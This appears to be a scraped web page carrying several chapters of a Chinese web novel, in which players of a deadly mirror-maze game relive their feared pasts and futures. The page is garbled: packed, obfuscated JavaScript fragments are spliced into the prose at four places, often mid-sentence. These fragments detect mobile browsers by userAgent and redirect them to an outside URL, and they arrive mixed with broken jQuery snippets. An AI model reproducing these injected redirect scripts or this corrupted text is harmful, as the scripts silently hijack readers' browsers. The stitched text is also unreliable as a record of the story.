l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208976|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶身上的信用度 厮杀模式:玩家可掠夺其他玩家身上的信用度 7.祝您游戏愉快。 ” 星星说道:“门都一样的,大家随便选——另外我建议你们选合作模式,先熟悉下规则。” 说罢,随便掀开了一个帘子,钻了进去。 这几扇门看着确实都一样。几人各自选好,陆续走进去。 这里像小时候去过的那种镜子迷宫:由镜子和玻璃组成,到处都是自己的倒影,要在里面找到通往出口的路。 刚一迈进去,梅子喻便站定了——前面是镜子,左右两面是玻璃,可以从玻璃看到两侧的人:挨着她的是面包和诗童,他们左右分别是龟壳和男鬼,离她最远的是星星。 一进去就是死路。按照规则,可以将玻璃变成通路。 她伸手摸向玻璃,上面弹出两行字来: 请选择游玩模式: 合作模式/厮杀模式 梅子喻还没有遇到过人偶,不知道从它们身上掠夺信用度是什么样的体验,不过估计是和替身差不多的东西。有了上两局的经历,她其实更想选厮杀模式,但这局有诗童在,还是以保诗童信用度优先。 点击左边的按键后,镜子上又弹出“等待其他玩家选择”的字样,等其他几人选完后,才出现结果: 合作模式:5票 厮杀模式:1票 最终结果:合作模式 想都不用想,选厮杀模式的肯定是男鬼。 选择过后,面前的镜子变成了通路。梅子喻摸着右手边的玻璃,朝前走了十几步,才遇到下一个死路。 大家都朝着不同的方向走去,在镜子的间隔下,已经看不到彼此的位置。 这次,左边和右边都是镜子,前方是玻璃。也就是说,她要在左右两边选一条路。 两边都触碰后,出现了不同的字。 左面镜子上: 回溯过去:是/否 右面镜子上: 面对未来:是/否 “……” 虽然对右边的路感到好奇,但她犹豫了会,还是选择了左边的“是”。毕竟过去是已知的,更加安全,但未来是未知的,代表着更多危险。 选择过后,右面镜子的文字消失,左边镜子里倒映着的她的面容开始扭曲,从一个好端端活生生的人变得身体肿胀、七窍流血。 梅子喻吓得向后跳出好远,镜子里的人则没动,好像只是一个影像而已。又等了好久,也没有怪物从镜子里跳出来,她才意识到这面镜子可能已经变成一条“路”了。 她向前迈步,踏入自己的惨状幻影之中。 41. 镜子迷宫二、未来 水淹过头顶,吞没呼吸,火辣的痛感从灌满水的鼻腔内蔓延开,浑浑涨涨,脑子和肺都快要爆炸。 是她无法忘记的记忆之一——掉到河里,海藻缠住脚,她像只濒死的鸟一样扑腾,溅起大片的水花,恍惚之中看到岸上有人指着她,说说笑笑。 绝望与疼痛之中,除了活下去之外,什么也没有想。 她奋力地抓住河边的岩石,才得以让头有那么一秒冒出水面,呼吸到一口新鲜的空气。 …… 梅子喻愣了好久,恍惚地转头,在镜子的折射中看到自己痛苦的神情。 就在刚刚,她踏入了那张幻象,就好像在一瞬间回到几年前,真真切切地感受了一番当时的体验。 虽然并不长久,但着实痛苦,着实真实,以至于她不由自主地捂住胸口,干呕了几声,想从肺里咳出点水。 舔到自己干涩的嘴唇,才有了些清晰的认知——幻影而已。她现在还站在镜子迷宫里,暂且没有生存危机。 这就是“回溯过去”吗? 如果要重复濒死体验,那下次还是选择“未来”好了。 她还在发愣中,忽然听到了略有些熟悉的声音从左边的镜子后传来:“梅好明天,是你吗?” 这声音,是之前在斗兽场上见过的面包,和龟壳一起,为了追随她来到这里。 面包与她之间隔着一面镜子,两人看不到彼此,但从初始出发的位置,确实能判断出是谁。 “我听到你咳嗽的声音……你还好吗?” “……还好。”梅子喻揉了揉脸,平复下心情,“你那边什么情况?” “我有两条路,走右边这个可以和你汇合。我能去找你吗?”那边传来触碰镜子的清脆声音,又说:“左边的路让我选择是否回溯过去,右边的是否面对未来……” “那你过来吧。”梅子喻也想找和同伴一起,“我刚才选了回溯过去,感觉很糟糕。” “好,那我来了。” 面包点了镜子,梅子喻惊讶地发现,自己这边的镜子也有了变化。 镜子里出现了一个面容憔悴的苍老女人。 镜子那边传来了一声小小的惊呼声,随即,梅子喻眼前一花,面前成了一堵贴着烂掉花壁纸的破墙。 这里是一间狭窄而破旧的小屋子,空中有股淡淡的奶臭味,空气并不流通,拉上的床帘又让整间屋子十分昏暗,仅仅只呆坐上两分钟,都会让人觉得烦闷。 她被某种力量控制着低下头去,看向手上的日记本,娟秀的字体写着: 3月18日 一年前我从游戏里逃出来了,却没想到要面对更恐怖的事情 4月20日 我厌倦了这样的生活已经很久了,可是我没有别的办法 5月31日 不想这样依靠一个烂人为生,可靠自己又太累 6月3日 他们说那是母亲的天性,但我为何如此厌烦 …… 她没有继续看,因为,隔壁屋子里的小孩哭了。 她急匆匆地站起身,想去安抚一番,那应该还是一个很小的孩子,需要母亲的陪伴与拥抱。 她推开门,却看到一个三十岁左右、满脸胡茬的成年男人,赤/裸地躺在床上,穿着婴儿的背心,脸上也是小孩子才有稚嫩的神情,朝她哭道: “妈妈,我饿了,我要喝奶。妈妈,爸爸怎么还不回家,是不是在外面有别的妈妈了。妈妈、妈妈、妈妈……” 粗犷的声音像是从地狱里传来的一般,惊天的嚎哭几乎要掀翻天花板。她大惊地向后退去,扶住窗台,从玻璃上看到了一张苍老的、疲惫的、充满褶皱与哀伤的脸。是她自己的脸。 “不……” 她像是看到了世界上最恐怖的画面,捂住自己的脸,还想后退,但这屋子实在太狭窄了,她无法向某处逃避。她想要打开自己来时的门,却发现门锁了,于是她拼命地拍着门,大喊道:“救救我、救救我!” 门后有人,但那人却没有给她开门,反而说道:“我亲爱的妻子,你还要喂养他,不许离开。” 她想要撬掉这门锁,她记得这是一把老旧的破锁,两下就能扯开。那锁上明明有着极大的裂痕,但她几番拉扯却都不能撼动丝毫。她感到一股疲惫涌上来,身子无力,情不自禁地跌坐在地。她很快意识到,这把锁很脆弱,但自己已经没有力气打开了。 那巨大的男婴大概是饿昏了,一步步朝她爬来,哭道: “妈妈、我饿了、你要供养我、你要用你的生命供养我……” “不要……” 她细微的声音里带了一丝哭腔,用着最后仅剩的一丝气力,猛地推开窗户,从中一跃而下—— 她解脱了。 梅子喻跌坐在地。刚刚虽然是幻境,但坠楼的感觉像是死过一次一般。刚刚的一幕太过魔幻。她捂着胸口深呼吸几口气,才顾得上转过头,看面包怎么样。 通路已经打开了,碎掉的镜子后面,躺着一具尸体。 在幻境中选择自杀的面包,在游戏里同样死亡。 梅子喻对着她的尸体发呆了很久,才扶着地板慢慢站起来。 这样一来,她又不太敢选“未来”了。 她顺着自己刚刚用“过去”开出来的方向,又向前走了几步。没过多远,从玻璃中看到了不远处的龟壳。 龟壳也同样看到了她,激动地挥舞双手,朝她的方向走了弯弯绕绕的几步,到最近时,两人间也只隔了一面镜子。 “我们一起行动吧!”龟壳敲了敲镜子,激动地说道。梅子喻知道他这次来本就是想投奔自己,大概是希望自己能说出什么通关诀窍,但到目前为止,她还没找到。 梅子喻问道:“这个镜子的选择是什么?” “未来。“龟壳说道,“我先过来……” “等等。”梅子喻打断他:“别选未来了。过去的事情是你经历过的,你还能承受的住,未来却不一定。” 龟壳一愣,“可是,过去在左边的镜子,我要找你的话,只能选右边这个……” 梅子喻点击了下这块镜子,弹出的文字是“回溯过去”。这下她清楚了,大概率左边的镜子都是回溯过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208977|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,右边的镜子都是面向未来。 “那你就别过来了。” “……” 龟壳沉默了一会。梅子喻都以为他已经放弃,正要继续向前走,却听他忽然说道:“上次我选了过去,这次我想选未来。” 说罢,带着一丝发泄一般,重重地按向镜子。 镜子里的人,变成了一个神情麻木的男人。 周围环境一变,成了一个黑暗的、堆满垃圾的小房间。他披着被子抱成一团,手里握着手柄,机械地按着键。显示屏里是一个简单的小游戏,左边的通关记录里显示,他已经通关了一万多次。 “出来吃饭了。”门外有人喊道,悦耳的声音,是他的妈妈。 “出来工作了。”低沉的声音,是他的爸爸。 “我不出去。”他扯着嗓子喊道。 “为什么呢?外面有好吃的食物,有你的好朋友,有更多新鲜有趣的游戏。为什么不出来呢,我的孩子?”悦耳的声音和低沉的声音混在一起,带了丝丝电流,变成了一道雌雄莫辨的机械音。 “因为,外面有魔鬼。” 他抬起头,床帘的缝隙中,一只血红的眼睛正盯着他看。 他把自己缩得更紧了。他知道这窗子之外趴着无数骇人的魔鬼,它们有最为恐怖的模样,只要与它们对视一眼,就会心跳过速,全身疼痛,喘不上气来。要是出了门,更是会在瞬间被它们撕碎。 屏幕上的游戏已经通关。他重重按下重新开始:如果不出去,他需要克服的就只有无聊而已。 龟壳重复打游戏的第三局,以他的视角看着屏幕的梅子喻不由得思考一个问题: 怎样才能从未来里走出来? 她不会就要这一直看他打这无聊的游戏,打一辈子吧! 幸好,龟壳重复开始的第五次,梅子喻眼前一花,从幻影中离开。 镜子没碎,她并不知道镜子后的龟壳是否还活着。他大概是被困在那样的未来中了,如果他不愿意改变什么,可能再也无法离开那里。 这样,和死了有区别吗? 梅子喻仔细想了想,觉得还是有些区别。不过如果是她,大概不会选择一辈子呆在房间里打重复上一万次的游戏,她可能会打开窗帘,看一看那魔鬼的真面目。但这不是她的未来,她并不知晓他们的感觉,仅从这些片段感受来说,也无法真正感同身受。 正如她也无法理解,面包为何会选择跳楼。 如果是她自己的未来,她会看到什么? 也会是这样一些不堪而魔幻的奇怪场景吗?会不会有一些好事发生呢?如果是她无法承受的事情,她又该怎么办? 说来,有什么事情是她无法承受的吗。 梅子喻想不到。过了会,她意识到自己也有可能是不敢想。不管怎样,她很快放弃思考这个问题,又向前走了一阵子。 她很快来到了下一个死路。这次三面都是镜子,左右的镜子照旧写着过去和未来,前面的镜子却显示: 刷新人偶:是/否 正好,在她两个都不想选的时候,出现了第三个选择。 42. 镜子迷宫三、恐惧 规则第二条:躲避人偶的追杀,否则你会死。人偶的行动力取决于你对镜子的选择。如果你打败了人偶,你可以控制它们。 人偶这面镜子充满不确定性,但过去和未来,梅子喻都不想选。 她过来的路线中有两条岔路可以用来躲避追杀。如果人偶实在追得紧,就往左边的镜子跑,在过去中躲避一会。 最差的结果,也就是不断向左逃逸,重复过去的濒死体验。 梅子喻打定主意,敲击了面前的镜子。 镜面中仍旧是那个她,没有丝毫改变。她屏气凝神,等待镜子里冒出什么怪物来,但很长一段时间内,都没有任何变化。 ——直到她谨慎地向后退了一步。 镜子里的她,也同时向前迈了一步。 一样的容貌,一样的神态,不同的是,镜子里的她捏了一把尖刀。 梅子喻吓得一抖,下意识向后撤离,人偶也以同样的速度从镜子里冲出来,刀尖向前,直冲她的心脏而去。 那一瞬间,她几乎没有任何思考,直接敲响了左边的镜子——在镜中浮现出她被电击得浑身焦黑身影的下一瞬间,她与人偶的刀尖一同坠入了过去。 人偶的速度与她一样,但手里有一把金属长武器。这样下来,无论跑的多快都只会被瞬间杀掉。 她降落的地方一片漆黑,身上湿淋淋的。对了,那天是个雨夜。她刚目睹了一场杀人案,杀人犯追杀她时,两人双双被雷击中。醒来时她发现那人已经焦了,自己还活着。 因为杀人犯拿了一把金术刀具,大部分的雷击打在了他的身上。 两个大概率死亡的不幸事件拼在一起,倒促成了一次小概率存活的幸运。 她奔跑着——从进入过去开始,便奔跑着。头发直立,身上阵阵发麻,耳朵里嗡嗡地响,雷电要打下来了。雨下的太大,她什么都看不清,只模糊地感觉到,身后有两人在追她。 一个是人偶,一个是杀人犯。 噗呲—— 她没跑多远,便听到了血溅出来的声音。闪电倏地劈下,身后忽然没了跑步声响。 梅子喻脚步一顿,回头看去。只见人偶的胸口穿了个大洞,汩汩流着鲜血,和杀人犯并排躺在一起,像是两具尸体。 “……” 所以刚刚……杀人犯杀了人偶,又因为两人都拿着金属,受到了同样的雷击,一起死掉了? 她想起上次回到落水的过去时,是靠扒着岩石上岸离开幻境的——而她在几年前,确实是用着这样的方法求生。所以大概,她要用出当年求生的手段,才能离开过去。 如果杀人犯死了,那她应该已经回到游戏里去了,为什么现在毫无动静? 最为可能的是,杀人犯还没死。 梅子喻轻轻迈步上前,顺手从人偶手中夺过尖刀,朝着杀人犯的心脏捅去。 大概是因为法医的经验,用刀杀人比她想象中的容易很多。 一刀子下去,血喷出来,便完成了。 只是,将杀人犯扎了个对穿,也没能回到游戏。反倒是那人偶开始褪去颜色,从她的样子变成了白模。 和小美一样的模具躯体。 眼前变得朦胧,像是蒙了一层雾。梅子喻一愣,忽然意识到什么,想将刀子甩出去,那刀却像粘在她手上一般,怎么甩都丢不掉。 她看到远处有个人影,便开始不受控地朝那人影奔跑起来,刀高高举着,想要杀死能看到的任何人。她一路踏着雨水和水花,冲向暴雨中黑暗的天际线,周围的景色变得越来越黑,从昏暗的荒野变成了黑洞一般的纯黑。想要追杀的人影不见了,她停下身子,茫然地四处看。 梅子喻惊恐地意识到了一件事。 她……不会变成人偶了吧? 追杀的动作不由她控制,但现在没有了追杀的目标,她就能操控这具躯壳。 她向前走了几步,身边的黑色转动起来,变成了五颜六色的玻璃块,像是万花筒的内部。这样光怪陆离的景象来看,显然这里还是镜子中的世界。她被套进了人偶的壳子,她的“过去”因为杀人犯的死亡而消逝了,但她却没能从过去中离开。 虽然不知这是哪,但她知道,留在原地一定不是最佳选择。 梅子喻又一次奔跑起来,五彩的玻璃和反光镜子交替着在身边旋转,一脚踏空,落入了某面镜子中。 她被隔在玻璃外,看玻璃屋里的故事。那是一栋豪宅之中,女人坐在沙发上,指挥伏在她膝上的男人为她穿衣梳头。屋里摆满了女人的荣耀证明,奖杯、证书、身份牌…… 男人像一只狗一样,顺服地任她抚摸自己的长发,不知为何,被她一巴掌打到地上,也只呜呜咽咽地哼两声,不敢反抗一句话。看来他们的关系中,他被她全然掌控并压制着。 男人捂着发红的脸,忽然颤抖起来。他痛苦地扯掉几搓自己的头发,拎起桌上的水果刀就要冲向女人。但女人只是给了他一个眼神,他就吓得僵在原地,不敢动弹。 女人朝他一扬下巴,他便不自觉地用小刀割断了自己的长发,蹲在地上一根根捡起来,送到女人手上。女人接过他的长发,系在自己的发尾,轻巧地原地转了两圈,走进屋里做自己的事去了。 男人则瘫软在沙发上,捏在手里的小刀不时颤动一下,他想反击,却动不了。 梅子喻仔细看了遍这栋豪宅,不管是家具还是那些荣耀证书,似乎都有点眼熟。 这好像是……男鬼生前影像里的家? 好巧不巧,那男人刚好抬起头来,对着天花板发呆。正是那个已经被梅子喻吃下去的男鬼的脸! 所以……这里是男鬼的过去,或者未来? 女人又从屋里走出来,手里捏了个项圈,朝他招招手,好像是要他像狗一样戴上。梅子喻侧了个角度,惊悚地发现这女人竟是她自己。 这肯定不是过去了,十有八九是男鬼的未来。为什么他的未来会有她的存在,两人还是这种莫名其妙的关系? 梅子喻刚觉得一阵反胃,却听男鬼咳了两声,伏在地上呕了出来。 “呕……这是什么鬼未来、呕……” “……” 看起来男鬼也对这种关系很不满。 从面包和龟壳的未来来看,有一些不现实的魔幻事件倒也正常,只是的确与当事人息息相关。梅子喻怎么也想不到,以自己和男鬼那样你死我活的关系,为何会在男鬼的未来幻境里呈现出一种诡异的和谐。 不过她看出了一点:她是上位者。 想也知道,那样自傲自负草菅人命的男鬼,又怎么可能给某个人做狗。 梅子喻忽然想到,会不会,这所谓的未来……其实是一种恐惧的具象化? 他们进入过去,进入的是一段自己不愿想起的恐惧回忆,进入未来,则是所能想象到的最恐怖的未来。 这样看来,男鬼最害怕的其实是屈居人下,且他潜意识里觉得梅子喻压了他一头,他不再是最强的。 梅子喻正思考着,男鬼无意间抬起头,看到了她。玻璃瞬间碎裂,她像是世界外的观影者,忽然被拉入了别人的故事之中。 豪宅里,另一个“她”与男鬼齐齐看着她。男鬼十分惊恐,而“她”则毫不在意地轻蔑一笑。 梅子喻的人偶身子举起刀,冲着两人跑去,“她”则轻轻一跃,跳到天花板上,身后长出了七八只腿,如一只大蜘蛛一样黏在天花板上。 梅子喻:…… 虽然知道男鬼恨她,但也没想到在男鬼的认知里自己是这样的怪物。 蜘蛛说道:“随你杀他。” 不用她说,人偶也猛地将刀刺向男鬼的胸膛。男鬼敏捷地跳起来,虽然不能像蜘蛛一样躲在房顶,但速度之快,也让人偶根本无法刺中他。 他很快意识到,面前这个梅子喻只是一个人偶,而不是他的未来里那个强大到一眼就让他动弹不得的怪物。 他对着怪物无法反击,但对人偶或许可以。 男鬼立即握紧水果刀,一把捅进人偶打来的左手里——成功了! 果然,这所谓未来都是假象,这是游戏的幻境。游戏设置了一个“绝对强者”,冠以梅子喻的面貌。但他其实并不害怕梅子喻,最好的证据就是:冲着这样一个同样有梅子喻的脸、但身份只是人偶的东西,他的胆量勇气和能力都恢复了! 男鬼兴奋地捅出一刀又一刀,信用度则随着他的攻击而上升。对了,规则里还有一条,合作模式下,玩家可以从人偶身上掠夺信用度。虽然他最初选的是厮杀模式,但没想到自己还吃了一波合作模式的福利。 他忽然想到,是不是在这里得到100信用度,就可以直接离开这关游戏? 他还没找到离开未来的方法,但这看起来是最可行的一条路了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208978|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不仅不用再忍着恶心和这只怪物相处,还能在这个人偶身上发泄自己的不满,掠夺她身上所有的信用度——真是太爽了,太爽了—— 唰。 一道蛛丝从天上射来,缠住他疯狂进攻的手。蜘蛛说道:“我允许你对我的替身出手了么?” 只一句淡淡的问句,男鬼立即僵住。极大的恐惧吞噬了他:在他的世界里,所有人必须臣服于那个强者,这是他潜意识中的规则,所有人都要遵守,包括他自己。他只是没想过其他人成为最强者的可能性——在梅子喻出现之前。 他停下攻击后,满手鲜血但没有痛感的人偶立刻发动了进攻,对着他身上就是一阵猛捅。男鬼看着自己信用度开始下滑,心里一颤。和玩偶之间的斗争会流失信用度,信用度掉到零就会死,更别说什么离开“未来”了。 这样可不行。他都是为了活下去忍受了这样的怪物,更不想如此草率地死在一只他丝毫不畏惧的人偶手里。他必须要反击,要挣脱手上的蛛丝,要杀死人偶,还要夺走人偶身上的信用度,离开游戏…… 恐惧是最虚幻的东西。他清楚地知道这只怪物的强大来自己自己的意识。他只要改变自己的想法,意识到他自己才是最强的,没有任何人能打败他,他最恐惧的未来根本不存在—— 却在和蜘蛛眼神对上的下一秒,一切的梦都破碎了。 本就已经是最恐惧的未来,还如此真实地体验着,又怎么可能克服呢?除非他剜掉自己的脑子,不思考,不害怕,对死亡无所畏惧…… 对了,一定是因为他装了灰烬的脑子,所以才会如此软弱。一定如此。 男鬼想着,他迫使自己忘记在这个未来里他有着自己原装的脑袋。他知道就是自己恐惧着这一切,从他的头离开自己,头发易主开始,他就认定了梅子喻是比他更恐怖的存在……但他要忘了这一切,然后都赖在灰烬身上。 都怪那个软弱的小猎物。 男鬼眼前一亮,不仅因为他给自己的软弱找到了理由,还因为他想到了一个活下去的简单方法。 既然这分软弱是出于灰烬,那么,克服不了对最强者的恐惧不是正常的么。 他还可以向最强者…… 臣服? 男鬼张嘴,喷出一口鲜血来,他却茫然不知,沉浸在自己的新思维里。他抬起头,看向盘旋在屋顶的大蜘蛛,头一次如此长久地对视着,没有因为恐惧而挪开目光—— 他根本无需恐惧! “保护我吧……”他颤颤巍巍,却兴奋地说道,“我的主人。” 他只要全心全意地成为最强者的附属,将自己的生命和意义交上去,他就不会再害怕她,而她将成为他的力量,一个工具。他将自己分成了两份,变成狗的那份归因到灰烬身上,反利用她的那份归因到自己身上,这样一来,他根本没有成为谁的附庸。这一切只是离开游戏的手段而已,只要屈服这么一阵子,离开之后,他还是最强的! 蜘蛛轻轻一笑,从房顶跳下来,挡住人偶的攻击。她勾住他的下巴,说道:“你克服了你的恐惧。” “因为你放弃了你最重要的东西。” 男鬼愣了愣,想甩开她的手,想要喊道:我没有,这只是我一时之计。但他却只是呆呆地看着她,什么都没做。 他忽然感觉自己做不到了。 一旦试过臣服,就没法再反抗。 豪宅的景观褪去颜色,逐渐瓦解成一片黑暗。 要结束了吗?他成功离开了未来了吗? 不…… 他忽然感到心中升起的一股地狱一样的绝望,比之前与怪物对视时还要强上一万倍的恐惧。他真的变得软弱了吗?这一时之计只是他糊弄自己的说法吗?这些思考都是给欺骗自己的小伎俩吗?他明知道的—— 他明知道不能踏过那条线的。 如果游戏真的结束了,这意味着他的“伎俩”成真了,他的自尊他的人格他的一切,都破碎了,不会再回来。 不要结束。 他还可以掩饰,还可以解释,还可以继续假装成下位者,继续虚与委蛇,然后一边心里暗搓搓地嘲笑着怪物被他利用。可怎么能就这样结束呢?他明明不是真心的。 他停滞在虚空之中,停滞在未来即将结束,而他被证实放弃自己自尊的那一瞬间,再也不会逃走了。 停滞在了他真正恐惧的未来。 43. 镜子迷宫四、儿童诗 梅子喻重新进入了黑暗之中。 她不知后面发生了什么,只听到男鬼恐惧的大叫,然后一切归于平静。她又一次来到了镜子与玻璃的世界里。 男鬼的未来结束了? 大概是结束了,或许他回到了游戏里,但她还没有逃出这诡异的轮回——手中的长刀无法放下,证明她还在人偶的身体里。 此时此刻,也只能继续向前奔跑,迈入下一个镜子之中。或许当她碰巧进入属于自己的镜子里,就有机会离开这具躯壳。 …… 鳞次栉比的店铺、交错的扶梯、光洁的地面…… 看到这熟悉的场景,梅子喻差点跳起来,这不是上关游戏的商场吗? 她在这里遇到了诗童和灰烬,被男鬼追杀。 这里,是谁的过去? 一阵咚咚的脚步声,两个猎物绕着弯躲避纸人,缩进某间店铺的桌子下。两个女人互相拥抱,紧紧贴在一起,安慰彼此不会有事,这里很安全。 但她们没能安心多久,纸人早就追踪到了她们的存在,从桌底钻了进来。一个猎物惊恐地尖叫,被纸人缠住手脚,另一个猎物则仓惶地从桌下爬出来,抛开了她的同伴,跌跌撞撞地逃走了。 她面上已经麻木,没有任何表情,只是流下一行泪。梅子喻听到她喃喃地念道:“对不起。” “对不起,小梦。我当时太害怕了。现在我也只有这样才能离开过去,对不起。” 她转过身去,正好和梅子喻对上了眼。 “梅子……”诗童一愣,“你怎么在这里?你……” 她话未说完,瞥见梅子喻手中的武器,立刻警觉地向后奔跑。 这是人偶,不是梅子喻。但她今天没有触发人偶的镜子,又怎么会有人偶来到她的过去里? 人偶果然追了上来,拿着刀便要捅她。她经历过几次被追杀,倒是不觉得惊恐,她在之前的每一面镜子都选择了左边的过去,对这一切都有把握:她已经做出了和过去一样抛弃好友的选择,接下来就只要等待男鬼将好友杀死,她就可以回到游戏中。 只要躲过最后一分钟的时间而已。 一次又一次目睹好友小梦的死,她已经对幻境中的事没了波澜。哪怕现在追杀她的人偶长着梅子喻的脸,她也只有一点点……一点点的悲伤而已—— “诗童……” 熟悉的声音喊出了自己的名字,诗童浑身过电般一颤,情不自禁地停下脚步,回头望去。 人偶的刀穿破了她的手掌,她却没顾得上疼,握住人偶的肩膀,焦急地喊道:“梅子,是你吗?” 作为一个追杀机器,人偶讲不出太多的话,只是一次又一次向她捅刀,嘴唇翕张中,吐出一个轻轻的“诗”字。 它大概是想唤她的名字的。 诗童混乱的大脑中闪过了星星的话,“要去未来”。 对了,星星和她说过。这四道门背后的世界是一条连续的流水线:斗兽场里的玩家会被识别,手术室里的玩家拆分这些玩家的数据,加工厂的玩家将这些数据制造成替身。 如果梅子喻曾经去过斗兽场,则很有可能在镜子迷宫里遇到了以自己为原本的人偶。 星星还说,如果不幸地被自己的人偶吞噬,唯一的办法就是去自己的未来里。 人偶既然是替身,就会和原主一样恐惧着某种未来。替身一定不会克服这种恐惧,但原主却有可能。当替身因为恐惧消失,而原主克服掉恐惧时,就可以夺回自己的身体。 “去未来!”诗童喊道:“梅子,去你的未来!” 身边的景象碎成了玻璃的裂痕,一分钟已经过去,她即将回到游戏之中。黑暗吞没一切之前,她似乎听到一声若有若无的,来自远方的声音。 “等我……” 诗童站在镜子之间,出神地望着自己的影像。 她回来了,又一次。 她低头看向自己血迹斑斑的双手,又举起来,看灯光从指缝中透过来。 快回来吧,梅子……我会在这里等你。 她沿着刚打开的路走了一阵子,下一个死路时,下意识就要敲响左边的镜子。可看到文字浮动出来时,却又犹豫了。 她从来没选过右边的路,因为星星不建议。总是能拿到最高信用度的玩家说的话自然是可信的,但…… 她确实也有些厌倦了不断地重复自己的过去。抛弃好友,听到好友死去的哭声。从最开始撕心裂肺的痛苦,自责,内疚,到后面的麻木—— 她不想对好友的死变得麻木。 她望向右边的镜子,虽然那里照映出了同样的脸,却觉得自己的表情有些不同了。 总是选择过去的路,她都不知道未来会发生什么。 梅子喻要在她的未来中找回自己的身体,她是不是也可以在未来中找到点什么? 她一定能克服掉所谓恐惧。因为她还要在游戏里和梅子喻汇合。 …… 那里是现实,也是世界末日。 诗童在无人的街道行走了整整一天一夜,方才意识到这一点。这条她从小长到大的小城里没有任何人,也没有任何生物,只有破败的建筑。 她最初谨慎地提防一切,风声,走路声,踢到石子的声音。但终于她发现这里没有任何危险。她第一反应便是安心:不用担心哪里窜出来个猎人杀掉她,不用和同桌的人尔虞我诈互相欺骗。 但很快,又感到了一丝孤寂。 诗童犹豫了会,还是走向了回家的路。整栋楼的门都衰老得一脚就能踢破,她就这样轻而易举闯进了家里。那样空荡荡的房间、泛黄的裂了纹的老照片、落满灰的沙发床铺、没有水的水杯…… 她看着这一切,忽然又觉得,不该回家看。 如果没有看到这些,或许她不会想起那些鲜活的回忆。放学时回到家里会闻到饭菜香,早上不情愿起床时被厨房里洗碗切菜声音吵醒,在楼道里和小梦一起吃着冰淇淋跑跑跳跳,考到了理想的学校后和家人抱在一起庆祝,夜间缩在被子里和暗恋对象发数条消息,失恋后和小梦一起在楼顶看星星散心…… 如果没有想起这些,或许现在就不会那么痛苦。 她捂着胸口,跪坐在地上,哭了很久很久,哭到天都黑下去——太阳还是照样会落下去,天黑时,空无一人的屋子变得有些吓人。小时候她想过关灯后屋里会有鬼,但一直到长大了都没见过。她站在走廊里,像小时候一样想象走廊那段有鬼飘过来吓她,但终究没有等到。 这里是世界末日,连鬼也死去了。 她回到自己的屋子里睡去。 这一觉昏昏沉沉,不知睡了多久,睁开眼时,看到小梦正坐在她床边看漫画,见她醒来,拍了拍她的头说:“你终于醒啦,阿姨午饭都做好了,快来吃。” “……” 诗童猛地坐起身,紧紧地抱住小梦,伏在她肩上哭泣。小梦惊讶地缕着她的头发,安抚道:“小童,你怎么了?” “我……我做了个噩梦。”诗童呜咽着说道:“梦到我和你都被拉到了一个逃生游戏里,你在游戏里死掉了,我好难过,好难过……” “哎呀,什么逃生游戏。梦都是假的,我这不是活的好好的吗?”小梦笑着说道:“只是个梦而已,快起床了。我们吃完饭,下午还要去逛街买杂志呢!” “嗯……嗯。”诗童擦干眼泪。虽然是让她无比痛苦的噩梦,但那终究只是个梦而已。现在,小梦还好好地在她面前,她也好好地活在现实中。虽然有升学的压力,学习的烦恼……但…… 但她现在好幸福。 她拉着小梦的手下了床,两人紧紧贴着,正要去客厅里吃饭。拉开门前,小梦却忽然停住了脚步,转头问她:“对了小童,在梦里我是怎么死的?” 诗童一愣,一时不知要怎么回答。她已经将小梦的死重复了太多次,以至于光是听到“死”这个字,小梦死前那样绝望的面容就立刻出现在脑海里。 她开始发抖,垂下头盯着自己的脚尖,说不出话。 “死的时候——”小梦站在她面前,和往常一样带着笑意的声音问道:“死的时候,你没有抛弃我吧?” “没……没有……” 诗童颤颤巍巍地说出了一句不可饶恕的谎言——她明明抛弃了那么多次。 不,不是谎言不可饶恕,是抛弃了好友的她不可饶恕。 “没有就好。”小梦疑惑地问道:“小童,你为什么这样发抖?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208979|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我……”诗童终究还是控制不住地大哭起来,“对不起,小梦……我说谎了,我抛弃你了……对不起,对不起,对不起……” “那也没关系呀,只是梦而已。”小梦双手捧住她的脸,说道:“看着我,小童。” 诗童抬起头,与她对视,却见那甜美的脸布满了鲜血,笑容转为哭泣,笑意盈盈的声音变成了声嘶力竭的哭声。 “小童,我死去的时候,是这样的吗?” 咚的一声,小梦人头落地,就和她在游戏中死去的那时一样。 …… …… 诗童惊醒时,枕头已被眼泪粘湿。她茫然地望了一圈,才恍惚地想到,原来这才是梦。 ……这是梦。 